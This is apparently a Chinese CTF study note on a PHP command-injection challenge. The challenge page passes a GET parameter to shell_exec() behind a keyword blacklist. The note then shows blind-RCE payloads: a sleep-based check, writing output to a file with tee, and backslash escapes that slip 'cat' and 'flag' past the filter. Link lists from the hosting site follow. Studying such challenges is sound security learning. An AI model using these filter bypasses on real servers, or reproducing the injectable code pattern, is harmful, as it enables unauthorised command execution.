RCE-PLUS (学习记录)

源码

复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
    if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
        return($cmd);
    }
    else{
        die("i hate this");      
      }
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>

过滤了很多东西,但是空格什么的没过滤

发现是用shell_exec()无回显的命令执行,所以把文件写入txt看结果

判断指令
复制代码
?cmd=ls / | sleep 5
把回显输入文本文件

两种方法

复制代码
?cmd=ls / | tee 1.txt
?cmd=ls / > tee 1.txt

直接访问

绕过对cat和flag的过滤
复制代码
?cmd=c\at /fl\ag | tee 2.txt
?cmd=c\at /fl\ag > tee 2.txt

总结

无回显RCE

WAF绕过

相关推荐
TeleostNaCl2 分钟前
如何在 Vim 启用行号显示和语法高亮功能
linux·经验分享·编辑器·vim
while(1){yan}5 分钟前
网络编程UDP
java·开发语言·网络·网络协议·青少年编程·udp·电脑常识
古城小栈9 分钟前
边缘计算:K3s 轻量级 K8s 部署实践
java·kubernetes·边缘计算
武子康9 分钟前
Java-196 消息队列选型:RabbitMQ vs RocketMQ vs Kafka
java·分布式·kafka·rabbitmq·rocketmq·java-rocketmq·java-rabbitmq
晚霞的不甘10 分钟前
Flutter + OpenHarmony 架构演进:从单体到模块化、微前端与动态能力的现代化应用体系
前端·flutter·架构
代码or搬砖11 分钟前
Vue生命周期总结(四个阶段,八个钩子函数)
前端·javascript·vue.js
梵尔纳多13 分钟前
第一个 Electron 程序
前端·javascript·electron
鹏北海-RemHusband13 分钟前
记录一次微前端改造:把 10+ 个独立 Vue 项目整合到一起
前端·javascript·vue.js
Starry_hello world13 分钟前
Linux 信号 (2)
linux
m0_7400437313 分钟前
SpringBoot02-SpringMVC入门
java·开发语言·spring boot·spring·mvc